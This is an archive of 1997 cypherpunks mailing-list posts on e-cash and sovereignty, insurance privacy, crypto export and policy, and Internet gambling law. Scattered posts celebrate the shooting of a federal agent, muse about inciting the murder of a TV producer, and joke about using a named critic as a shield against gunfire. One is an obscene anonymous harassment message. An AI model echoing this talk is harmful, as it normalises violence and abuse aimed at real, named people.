>disconnect here will only worsen over time.
>
>The geographical rooting of political and economic authority is
>relatively recent. Territorial sovereignty, borders, and a clear
>distinction between domestic and international spheres are modern
>concepts associated with the rise of the nation-state. Territorial
>sovereignty implies a world divided into clearly demarcated and
>mutually exclusive geographic jurisdictions. It implies a world where
>economic and political control arise from control over territory.
>The international financial system -- which consists of hundreds of
>thousands of computer screens around the globe -- is the first
>international electronic marketplace. It will not be the last. E-cash
>is one manifestation of a global economy that is constructed in
>cyberspace rather than geographic space. The fundamental problems that
>e-cash poses for governance result from this disconnect between
>electronic markets and political geography.
>
>The very idea of controlling the money supply, for example, assumes
>that geography provides a relevant means of defining the scope of the
>market. It assumes that economic borders are effective, that the flow
>of money across them can be monitored and controlled, and that the
>volume of money within a fixed geographic area is important. All of
>those assumptions are increasingly questionable in a digital world
>economy.
>
>Many of our basic tax principles assume that transactions and income
>streams can be located precisely within a given national market. That
>assumption is problematic when e-cash is spent on a computer network.
>It is problematic when many important economic transactions cannot be
>located, or may not even take place, in geographic space.
>
>The increasing irrelevance of geographic jurisdiction in a digital
>world economy markedly increases the risks of fraud, money-laundering,
>and other financial crimes. Asking where the fraud or money-laundering
>took place means asking "Whose jurisdiction applies?" and "Whose law
>applies?" We need to learn to deal with crimes that cannot be located
>in geographic space, where existing concepts of national jurisdiction
>are increasingly irrelevant.
>
>The term "disintermediation" was first used to describe the
>replacement of banks as financial intermediaries by direct lending in
>money markets when interest rates rose. It is often used in the world
>of e-commerce to describe the elimination of intermediaries by direct
>seller-to-buyer transactions over the Internet. Many observers argue
>that e-cash is likely to disintermediate banks. Of more fundamental
>importance is the possibility that e-cash and e-commerce will
>disintermediate the territorial state.
>
>To be clear, I argue that we face not the end of the state, but rather
>the diminished efficacy of political and economic governance that is
>rooted in geographic sovereignty and in mutually exclusive territorial
>jurisdiction. Questions such as: "Where did the transaction take
>place?" "Where did the income stream arise?" " Where is the financial
>institution located?" and "Whose law applies?" will lose meaning.
>E-cash and e-commerce are symptoms, albeit important ones, of an
>increasing asymmetry between economics and politics, between an
>electronically integrated world economy and territorial nation-states,
>and between cyberspace and geographic space. How this asymmetry will
>be resolved and how economic and political relations will be
>reconstructed are two of the critical questions of our time.
>
>WHAT IS TO BE DONE?
>
>The question asked here is not "What is feasible?" but "What are the
>limits of the possible?" Whether the picture presented here is correct
>in all -- or even some -- of its details is unimportant. A digital
>world economy is emerging. Imagining possible scenarios is necessary
>if we are to come to grips with the consequences of this revolution.
>The purpose here is to raise problems rather than to solve them and to
>imagine possible futures and think about their implications for
>economic and political governance. A digital world economy will demand
>increasing international cooperation, harmonizing national regulations
>and legislation, and strengthening the authority of international
>institutions.
>
>The harmonization of national regulations will help to prevent
>institutions, such as those issuing e-cash, from slipping between
>national jurisdictions or shopping for the nation with the least
>onerous regulations. However, it will not address the basic problem of
>the disconnect between geographic jurisdiction and an electronically
>integrated global economy.
>
>If it is impossible to locate transactions geographically -- if the
>flows of e-cash are outside of the jurisdictional reach of every
>country -- then the harmonization of national regulations will
>accomplish little. The basic problem is not one of overlapping or
>conflicting jurisdictions; it stems from the lack of meaning of the
>very concept of "jurisdiction" in a digitalized global economy.
>The erosion of the viability of territorial jurisdiction calls for
>strengthened international institutions. It calls for giving
>international institutions real authority to measure, to control, and,
>perhaps, to tax. The Basle Committee on Banking Supervision -- an
>international body of bank regulators who set global standards --
>could perhaps be given the authority to collect information from
>financial institutions wherever they are located and formulate and
>enforce regulations globally. Interpol, or its equivalent, may have to
>be given jurisdiction over financial crimes, regardless of where they
>are committed. That does not mean a world government; it does mean a
>markedly increased level of international cooperation.
>
>The questions we must face are whether territorial sovereignty will
>continue to be viable as the primary basis for economic and political
>governance as we enter the 21st century, and what the implications
>will be for the American economy -- and Americans in general -- if we
>refuse to cooperate internationally in the face of an increasingly
>integrated global economy.
>
>                         ---------------------
>
>ELECTRONIC CASH: A GLOSSARY
>
>DIGITAL DATA: Information coded into a series of zeros and ones that
>can be transmitted and processed electronically.
>
>DIGITAL SIGNATURE: A code that allows absolute authentication of the
>origin and integrity of a document, check, or electronic cash that has
>been sent over a computer network. A blind signature allows
>authentication without revealing the identity of the sender.
>
>DISINTERMEDIATION: The substitution of direct transactions for those
>that are mediated. The term originated when rising interest rates
>caused savings to be withdrawn from banks -- whose interest rates were
>capped -- and invested in money market instruments that were the
>direct debts of borrowers. Banks were disintermediated. In electronic
>commerce, the term refers to the rise of direct buyer-to-seller
>relationships over the Internet, disintermediating wholesalers and
>retail outlets.
>
>ELECTRONIC MONEY: Units or tokens of monetary value that take digital
>form and are transmitted over electronic networks. Digital Value Units
>are the basic units of denomination of electronic money; they may or
>may not correspond to units of national currency.
>
>ENCRYPTION: The coding of information for security purposes, such as
>credit card numbers or electronic cash used over the Internet.
>Public-key encryption uses a mathematical algorithm comprising a pair
>of strings of numbers to encrypt and decrypt the data. For example,
>the sender would encrypt the data with the receiver's public key and
>the receiver would decrypt with his or her private key.
>
>INTERNET: A global network of linked networks that allows
>communication and the sharing of information among many different
>types of computers. The World Wide Web is a graphical system on the
>Internet that allows rapid movement between documents and computers
>through the use of embedded (hypertext) links.
>
>SMART CARDS: A plastic card, similar to a credit card, containing a
>microchip that can be used to retrieve, store, process, and transmit
>digital data like electronic cash or medical information.
>                        -----------------------
>
>(Stephen J. Kobrin is the director of the Lauder Institute of
>Management and International Studies and the William Wurster professor
>of multinational management at the Wharton School of the University of
>Pennsylvania. This paper develops themes raised at a discussion of
>electronic money at the 1997 annual meeting of the World Economic
>Forum in Davos, Switzerland.)
     


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------- End of Forwarded Message





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 30 Oct 1997 02:35:14 +0800
To: cypherpunks@cyberpass.net
Subject: Protocols for Insurance to Maintain Privacy
In-Reply-To: <199710291412.GAA29666@sirius.infonex.com>
Message-ID: <v03102802b07d0f3d4e21@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:12 AM -0700 10/29/97, Monty Cantsin wrote:

>And, because the medical market is tightly controlled, it is not
>possible to legally enter the market as an outsider.  IMNSHO, I should
>be able to consult my drug dealer about ailments and their proper
>medication.  The fact is, many people have much greater rapport with
>their drug dealers than with their doctors and there is often greater
>concern by the drug dealer for his client's welfare, at least in terms
>of obvious problems such as pain.

Ditto for pharmacists. In the U.S. one can only buy "prescription drugs"
by, well, getting a "prescription." This is a nice side-racket the doctors
have, of course, as the prescription generates a tidy little fee for the
prescribing doctor. A $75 office visit for less than a minute of actual
doctor involvement. Nice work if you can get it.

And of course in Mexico and other "backward" places, where such
reimbursement f office visits is considerably different, so-called
prescription drugs are available at nearly all corner pharmacies. Lots of
Americans make the drive from San Diego to Tijuana to buy prescription
drugs either too expensive (those doctors visits) or unavailable in the
U.S. And the Customs department at the border has pretty much given up on
stopping people from carrying personal-use quantities. (The gay lobby
exerted a lot of influence on this, as gays travel to Tijuana to pick up
medicines they think are effective, whether approved in the U.S. for gay
cancers or not.)

The FDA has probably killed more people in the last 30 years than all the
wars the U.S. has been in during the same time. Mostly because of the
game-theoretic nature of the system: all that matters to FDA officials is
covering their ass so that promotion is ensured. No points for approving a
controversial drug, but lots of demerits for approving a drug which hurts
even one person (if the media reports it as "another FDA oversight").
Avoiding flipper children is the raison d'etre for these people.



>Similar things can be said for health insurance companies.  They are
>very greatly constrained in the types of policies they can offer and
>the sorts of agreements they can make with their customers.  You could
>imagine an anonymous policy which opens with a medical exam which is
>repeated every so often for couple of years before taking effect.
>After, say, two years of good health, full coverage on the policy
>kicks in.

There are interesting protocols which can be used to skirt statist laws
about insurance. A la carte insurance, for specific illnesses, is one of
the best examples. Thus, a heterosexual male who doesn't use IV needles can
"opt out" of coverage for AIDS-related treatments, thus transferring the
effective cost to those most worthy.

(Probably why many legislators want such opt-outs banned.)

This has similarities to crypto protocols. And anonymity. To wit, it is
possible to arrange anonymous blood tests for various conditions. So, Alice
arranges a distributed set of such tests, perhaps at multiple labs. When
she finds she has no preconditions or precursors for Diseases A, B, C, and
D, she opts out of being covered for these diseases.

This is dramatically different from the way things are now supposed to be
done: where Alice is given a suite of tests *by her insurer* to determine
risks, premiums, etc. This approach, the tests by her insurer, almost
immediately lead to potential privacy problems, as insurers (naturally
enough) record such results in their records and may even "share" (or
trade, or sell) results with other insurers, companies, etc.

The "a la carte" approach allows Alice to "selectively disclose her
preferences," by the coverage she buys. The insurer may still demand tests,
of course, as is his right. But Alice may choose to pay higher rates for
the limited things she wants covered, and so an overall privacy-maintaining
balance should be possible.



--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Thu, 30 Oct 1997 00:14:31 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: Search warrants and Senate hearing on medical privacy
In-Reply-To: <v03007807b07bb9a5aaea@[204.254.21.201]>
Message-ID: <3.0.2.32.19971029101832.0386b788@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 11:15 AM 10/28/97 -0500, Declan McCullagh wrote:

>Yesterday a senior Justice Department official told journalists (in a
>background briefing at Main Justice) that requiring police to obtain a
>search warrant could derail counter-terrorism efforts. "Imposing a probable
>cause standard is something we would vehemently object to," he said. Which
>explains why he doesn't vehemently object to the legislation this committee
>is considering. The versions of the "medical privacy" bills I'm familiar
>with don't include such strict safeguards. We require the FBI to obtain a
>search warrant to enter your house or office: why shouldn't we require the
>same for medical files?

Those of us who pay cash for their medical treatment, or don't maintain any 
"insurance" policies (public or private), or seek treatment in other 
(cheaper) countries don't have to worry about those minor privacy violations 
since we're not in the database (with meaningful key fields).

DCF
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Thu, 30 Oct 1997 00:40:02 +0800
To: cypherpunks@cyberpass.net
Subject: Work
In-Reply-To: <2328C77FF9F2D011AE970000F84104A74933DB@indyexch_fddi.indy.tce.com>
Message-ID: <3.0.2.32.19971029112630.0369b4e8@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>Harka wrote:
>>The "just don't work for them if 'ya don't like it"-argument  will
>>last about 4 weeks...the approximate time a human can survive
>>without eating. (or a couple of weeks less, if you have kids)
>>
>>I.e. unless you are the super-duper, three-times nobel-prize-winner
>>(with lots of money in stocks), who can AFFORD to choose employers
>>that freely, you will be DAMN GLAD to have a job AT ALL, regardless
>>of their policies!

What is it with the "LEFTovers"?  Do they have problems grasping reality?  
Getting work is easier these days than it's ever been in the history of 
mankind.  I've worked steadily for 20 years and in all that time never dealt 
with a personnel department or a job application (the joys of contingent 
employment).  No firing or blackballing could possibly keep me from getting 
well-paid work somewhere.  The only way I could be kept out of work is 
murder.  Not even imprisonment could stop me from writing that privacy book 
I'm always meaning to do.

DCF

"Otium sine literas mors est."
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Thu, 30 Oct 1997 02:39:16 +0800
To: Kent Crispin <kent@bywater.songbird.com>
Subject: Re: [cpe:3185] Re: rescue Mrs Allen from the Feds
In-Reply-To: <19971029072956.23995@bywater.songbird.com>
Message-ID: <199710291731.MAA09661@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <19971029072956.23995@bywater.songbird.com>, on 10/29/97 
   at 07:29 AM, Kent Crispin <kent@bywater.songbird.com> said:

>On Wed, Oct 29, 1997 at 11:17:43AM +0000, Adam Back wrote:
>> 
>[...]
>> 
>> 
>> The Gandi style walk in, in numbers walk off with Mrs Allen :-)  What are
>> they going to do, shoot 1000 unarmed citizens?

>The 100 citizens would probably be shot by Mrs Allen.

More like 1,000 citizens would be shot on orders from Jim (can believe
they made that pick governor) Edgar and then blamed on Mrs Allen who also
would be shot.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jeff A. Hale" <privacy@rt66.com>
Date: Thu, 30 Oct 1997 04:09:39 +0800
To: cypherpunks-j@htp.org
Subject: PGP 5.5 available outside US
Message-ID: <199710291957.MAA00466@news.Rt66.com>
MIME-Version: 1.0
Content-Type: text/plain



It seems that unknown Cypherpunks have yet again shown their disrespect of
US export laws by exporting the latest version of PGP. The Windows version
of PGP 5.5 is now available for your downloading pleasure at
ftp://ftp.replay.com/pub/crypto/incoming/PGP55.zip

PGP 5.5 features superior LDAP keyserver integration, multiple signature
categories, and automatic decryption (set Preferences -> Email ->
Automatically Decrypt).

"You heard the rumors. Now try it yourself." :-)

-- Lucky Green <shamrock@cypherpunks.to> PGP encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Fri, 31 Oct 1997 05:30:09 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Protocols for Insurance to Maintain Privacy
Message-ID: <199710302109.PAA03011@multi26.netcomi.com>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

Alan Olsen wrote:
>Actually, the real "sucker rates" are the amounts small businesses
>pay for insurance.
>
>The big businesses (who can buy in bulk) get a pretty reasonable deal
>for what they get.  The smaller companies who cannot bargain the
>price down get screwed.  (The rate my wife's employer was paying was
>close to double what my insurance costs and it covered ALOT less.)

You can improve the situation by purchasing high deductible policies.
It is astonishing how quickly the rates fall when you are willing to
pay the first few thousand yourself.

Also, many small business owners seek out other small business owners
and purchase their insurance collectively.  I have heard this works
fairly well, although it gives each participant less discretion, just
like if they were employed by a large company.

>I seriously doubt that most people could afford to self-insure at the
>going rate.  (Not unless they have some serious income they want to
>get rid of.)

I'd guess there are a lot more people who can self insure than you
think, but their net worth should be $200,000+.

I'm not convinced that disaster medical care is all that expensive.
Consider AIDS.  I've heard that it costs about $30,000 to care for
somebody with this disease.  After ten years that's only $300,000.
Yet, this is often put forth as a problem which causes insurance
companies great trouble and causes rates to increase significantly.

Does anybody know what the odds of hitting $300,000 are?  I'm just
guessing, but the odds are probably higher that you would die in some
other way.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Fri, 31 Oct 1997 05:25:01 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Protocols for Insurance to Maintain Privacy
Message-ID: <199710302115.PAA03448@multi26.netcomi.com>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

Tim May wrote:
>Turns out that Blue Cross and Blue Shield have negotiated, through
>enormous buying power, daily rates of about $700 a day. (These
>numbers come from my memory of a "60 Minutes" report a few years
>ago. Details and current figures may vary.)

Sounds like what you really want is to be able to buy through these
companies without buying the insurance.

This would be a real easy service for them to provide because if they
mark it up a little bit, it's basically free money.  (They are doing
the negotiations anyway, after all.)  They don't even need to know
your name until you show up wanting to use their health care network.

The Emergency Room Scenario is a little more challenging.  One way to
deal with it is to wear some obvious signs of wealth like a $10,000
watch.  In a pinch you can give them the watch.  ;-) (Some of the
nurses won't know what it is, but the doctors will, I am sure.)

I'm pretty sure that if you are an unconscious wealthy looking person
they don't turn you away.  You really only need to survive until your
lawyer gets to the hospital with a suitcase of cash.

How do super rich people solve this problem?  You can be pretty sure
that Bill Gates self insures and protects his privacy at the same
time.  How does he do it?  How does he solve the Emergency Room
Scenario?

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Fri, 31 Oct 1997 05:22:35 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Terrorism is a NON-THREAT (fwd)
Message-ID: <199710302115.PAA03457@multi26.netcomi.com>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

Tim May wrote:
>At 8:11 AM -0700 10/30/97, Tim Griffiths wrote:
>> We hear on TV etc people saying "If this draconian measure saves the
>> life of one innocent child its worth the loss of my right to walk in
>> the park, or whatever". This is clearly shit, but can people suggest a
>> sensible measure of when new legistlation is justified?
>
>If not, then the answer is "the Constitution."
>
>The longer version being that the Constitution and especially the
>Bill of Rights clearly enumerates rights held by the people, and
>there is no mention that such basic rights are to be stripped away
>because the "life of one innocent child" can be saved...

But this line of argument does not get to the heart of the matter.
Why is the Constitution so great?  After all, it's just a piece of
paper and if Americans generally decide not to respect it, it's gone.

In a related comment Steve Schear wrote:
>"Those who prefer security over liberty deserve neither."

More accurately, they will *get* neither!

Police states are not only unpleasant, they are terribly unsafe.

When somebody tells you they wish to trade security for liberty, offer
to handcuff them on the spot in exchange for protection.  If they
don't agree, they now have to explain why they believe you have less
integrity than the police and their political masters.

And, in almost every case, the draconian measure is orthogonal to
protecting children and is only a cynical ploy to institute a police
state.  While it will be different from ploy to ploy, it can be
productive to undermine the assumptions of the argument.

Consider cryptography.  We are told that it is bad for children.  We
also know that banning cryptography will cost at least $60 billion
every year.  Why isn't a $30 billion child protection fund being
advocated?  It would obviously be a good deal.  The reason is that
protecting children isn't on the agenda.  (And that child protection
bill better include a list of things not to spend money on: Do not
frame political dissidents.  Do not infiltrate church groups.  Do not
spy on Jewish children at summer camp.  Do not gun down antiwar
protesters.  Do not suppress the Press. etc. etc.)

In general, those who talk about "protecting children" shy away from
obvious and real measures that might actually protect children.  For
example, in most states child protective services are underfunded and
staffed by incompetents.  Real children are living miserable lives
every day, and yet Louis and the Gang are worrying about the use of
arithmetic.  Could it be they have some other motivation?

Or consider teenage prostitution.  In most big cities there are many
teenage prostitutes.  They don't want to be prostitutes for the most
part, but usually they were in a bad situation and they ran away from
home.  We can tell the situation is bad because when they get hungry
they still don't want to go back.

Typically, there are known places where the deals are done.  Yet we
see no noticeable enforcement effort occurring.  Could it be that the
police don't care that much?

More importantly, it is terribly easy to help these people.  All you
have to do is set up a home where they are welcome, feel safe, and
feel comfortable.  BTW, that means no religious indoctrination, no
drug indoctrination, or any other brainwashing.  It does mean finding
hosts who are warm emotional people and genuinely care.  (It may be
impossible for a bureaucracy to establish such an environment.)

Anybody who cares about teenagers can set something like this up.
Yet, it rarely happens.  The reason for this is that very few people
truly care enough to actually do anything about the situation.

When somebody tells you should go to jail for performing the wrong
kind of arithmetic because it's bad for children, ask them what they
*really* have done for any children anywhere.  Usually, they have done
nothing and will do nothing.

There is almost nothing lower than a person who would exploit concern
for children for his or her own political purposes.


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Thu, 30 Oct 1997 02:33:37 +0800
To: Tim May <cypherpunks@Algebra.COM
Subject: Re: apropos list talk and our culture
In-Reply-To: <Pine.GSO.3.95.971029073155.12589A-100000@use.usit.net>
Message-ID: <3.0.2.32.19971029133032.006ae228@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 08:06 AM 10/29/97 -0700, Tim May wrote:

>I will admit to a guilty pleasure: the opening scene, where the BATF agent
>gets shot in the face, was delicious.

BATF - still the highest death rate of any federal enforcement agency 
(because bootleggers are in it for real).

DCF
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Thu, 30 Oct 1997 06:05:11 +0800
To: Bill Stewart <cypherpunks@toad.com
Subject: Re: Kyl S-474 Anti-Gambling Bill passes committee
In-Reply-To: <3.0.3.32.19971029032045.007052b8@popd.ix.netcom.com>
Message-ID: <v03102804b07d5a114def@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:20 AM -0800 10/29/1997, Bill Stewart wrote:
>>> SENATE JUDICIARY COMMITTEE APPROVED BILL (S-474) BY SEN. KYL
>   (R-ARIZ.) TO PROHIBIT GAMBLING OVER INTERNET.<> - Senate Judiciary
>   Committee approved bill by Sen. Kyl to prohibit gambling over
>   Internet. As proposed by Kyl to panel, bill would have allowed states
>   to allow Internet gambling, but provision was dropped when Sens.
>   Biden and Sessions objected. [TELEVISION DIGEST, 66 words]

Prediction: this bill will be about as effective as outlawing spring.

About 20% of gamblers are 'problem' types who now regularly game illegally
and could careless about the penalties.  Once all on-line casinos offer
real and 'play-money' wagering and strong crypto it will be neigh
impossible for the Feds to know or prove which players are wagering real
money and therefore gambling.  Once Onion and Crowds routers are
operational and widespread the Feds won't even be able to find the casinos,
and even if they do they may not be able to shut them down (especially if
they are built in a distributed fasion).

--Steve


PGP mail preferred, see  	http://www.pgp.com and
				http://web.mit.edu/network/pgp.html
RSA Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Thu, 30 Oct 1997 06:03:51 +0800
To: Tim May <cypherpunks@Algebra.COM
Subject: Re: apropos list talk and our culture
In-Reply-To: <Pine.GSO.3.95.971029073155.12589A-100000@use.usit.net>
Message-ID: <v03102806b07d5d661666@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:06 AM -0700 10/29/1997, Tim May wrote:
>At 5:38 AM -0700 10/29/97, Brad Dolan wrote:
>>"Michael Hays" is a new CBS series about a U.S. District Attorney.  Last
>>night's episode was about how a radio talk-show host incited a listener
>>to kill a BATF agent and was brought to justice.  DA convinced a jury
>>that some things were "more important" than the first amendment.

Wouldn't it be interesting if someone incited a Net listener/reader to kill
the producer of this "Michael Hays" episode in a "life immitates art"
situation?

--Steve







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 30 Oct 1997 07:07:40 +0800
To: fight-censorship@vorlon.mit.edu
Subject: Crypto-update: Magaziner on Clinton, Senate on crypto-czar
Message-ID: <Pine.GSO.3.95.971029145311.6040I-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



[Reminder: There //is// a DC cypherpunks meeting this Sunday afternoon!
Email me for details if you don't have 'em yet. --Declan]

---------- Forwarded message ----------
Date: Wed, 29 Oct 1997 14:53:07 -0800 (PST)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: Crypto-update: Magaziner on Clinton, Senate on crypto-czar

Ira Magaziner, Clinton's Net-advisor, spoke today at the District of
Columbia Bar Association, Computer and Telecommunications Law section
conference. A brief report, as told to me by someone who was there:

>Magaziner said Clinton and Gore specifically oppose mandatory
>domestic key recovery. Said they're still fighting it
>out within the administration and hope to work out a
>reasonable compromise. Aligned himself pretty clearly
>with the commercial, not the law enforcement side. Said
>that when Freeh waves around the "four horsemen," he's
>hard-pressed to come up with an informed answer. Said
>NSA had been involved in lobbying on the Hill.

Also, a Senate committee today approved the nomination of David
"Crypto-Ambassador" Aaron to be Under Secretary of Commerce for
International Trade. Aaron has been for the last year trying to export the
FBI's crypto-proposals for mandatory Big Brother cryptoware. (And
unconfirmed reports say he's been getting into fights not just inside the
OECD in Paris, but outside: apparently he's tussled with Parisian cabbies
more than once...) Aaron's nomination now goes to the full Senate; no vote
has been scheduled yet.

-Declan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Thu, 30 Oct 1997 05:45:36 +0800
To: cypherpunks@cyberpass.net
Subject: Re: [cpe:3185] Re: rescue Mrs Allen from the Feds
In-Reply-To: <199710291731.RAA00923@server.test.net>
Message-ID: <199710292133.PAA00380@wire.insync.net>
MIME-Version: 1.0
Content-Type: text/plain



Adam Back writes:

> Heh, yeah.  That's why you need to send in the spread spectrum phone
> first, to let her know what you're planning -- else she'll just think
> it's a ploy by the Feds.

Yes - it would very embarrassing if Mrs. Allen shot holes in her would-be
Cypherpunk and Militia rescuers. 

We need to strap Sternlight to a metal pole and thrust him through the
door until we are absolutely sure she is out of bullets.

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Thu, 30 Oct 1997 04:13:26 +0800
To: cypherpunks@toad.com
Subject: [URGENT] Secure checksums
Message-ID: <4bce0368c6dca6472723bacbbd57dee7@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Warning: if you fuck Timothy C[unt] May in the ass, a 
rabid tapeworm might bite your penis.

\0/   \0/\    \ /    /  \0/  \0/   \0/\    \ /    /\0/   \0/ Timothy C[unt] May
 |    /  /)    |    (\   |    |    /  /)    |    (\  \    |
/ \__/\__/0\__/0\__/0\__/ \__/ \__/\__/0\__/0\__/0\__/\__/ \





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Thu, 30 Oct 1997 06:30:23 +0800
To: Eric Cordian <emc@wire.insync.net>
Subject: Re: [cpe:3185] Re: rescue Mrs Allen from the Feds
In-Reply-To: <199710292133.PAA00380@wire.insync.net>
Message-ID: <199710292224.RAA12328@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199710292133.PAA00380@wire.insync.net>, on 10/29/97 
   at 03:33 PM, Eric Cordian <emc@wire.insync.net> said:

>Adam Back writes:

>> Heh, yeah.  That's why you need to send in the spread spectrum phone
>> first, to let her know what you're planning -- else she'll just think
>> it's a ploy by the Feds.

>Yes - it would very embarrassing if Mrs. Allen shot holes in her would-be
>Cypherpunk and Militia rescuers. 

>We need to strap Sternlight to a metal pole and thrust him through the
>door until we are absolutely sure she is out of bullets.

I'll bring the pole & duct tape!! :)

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Yoshiwara Remailer <yr@dev.null>
Date: Thu, 30 Oct 1997 07:17:27 +0800
To: John Young <jya@pipeline.com>
Subject: John Young--NWO Schill / Re: EU E-Commerce Report
In-Reply-To: <1.5.4.32.19971029111842.00b6b4b8@pop.pipeline.com>
Message-ID: <3457BD4D.534D@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN 'I'M ALWAYS RIGHT AND I NEVER LIE' SIGNED MESSAGE-----

John Young wrote:
> The EU-based Global Internet Project has published a new
> report on electronic commerce:
>    http://jya.com/gip-ecomm.htm  (29K)
> 
> An excerpt on crypto policy:
> 
> 1.No nation's cryptography policy can stand alone.
> 
> 2. Immediate steps should be taken to solve pressing
> cryptographic needs that directly affect the global Internet.
>
> 3. Reliable and international systems for authentication
> and integrity should be established.

  John Young, New World Order Schill (secret member of the New
World Order of Schills), has cleverly and deceptively given us
a pointer to the 'official release' version of the GIP report
on electronic commerce, in which point #4 purports to be:
> 4. Governments and industry must respond to legitimate user
> concerns.

  In the triple-secret *real* GIP report, as JYA knows, point #4
is as follows:
"4. No one shall buy or sell unless they have the digital implant
of the New World Order in their right hand, or in their foreheads."

> 5. Users should be permitted to decide whether and the degree
> to which key escrow, trusted third party, or key recovery
> technologies will be desirable in their environments or not.
> 
> 6. Trade barriers should not be disguised as cryptographic
> regulations.
> 
> 7. Export controls on encryption should be made multilateral
> in practice and when used, focused narrowly and genuinely on
> national security threats. They should not be used as indirect
> domestic controls.
> 
> 8. Governments should establish and publish the process by
> which keys will be obtained for government purposes. This
> process should include independent judicial review, time limits
> on access, reasonable notice to the key owner when this would
> not interfere with the purposes of the decryption, and
> opportunities for independent audit of compliance with legal
> process.
> 
> 9. Liability for misuse of escrowed keys should be the subject
> of international understanding.
> 
> 10. When key recovery is voluntarily chosen by the user,
> self-retention of key recovery information should be encouraged.

-----END 'I'M ALWAYS RIGHT AND I NEVER LIE' SIGNED MESSAGE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Yoshiwara Remailer <yr@dev.null>
Date: Thu, 30 Oct 1997 07:26:40 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: [cpx:709] Re: rescue Mrs Allen from the Feds (Re: Tim's worst nightmare.,..)
In-Reply-To: <199710291117.LAA01288@server.test.net>
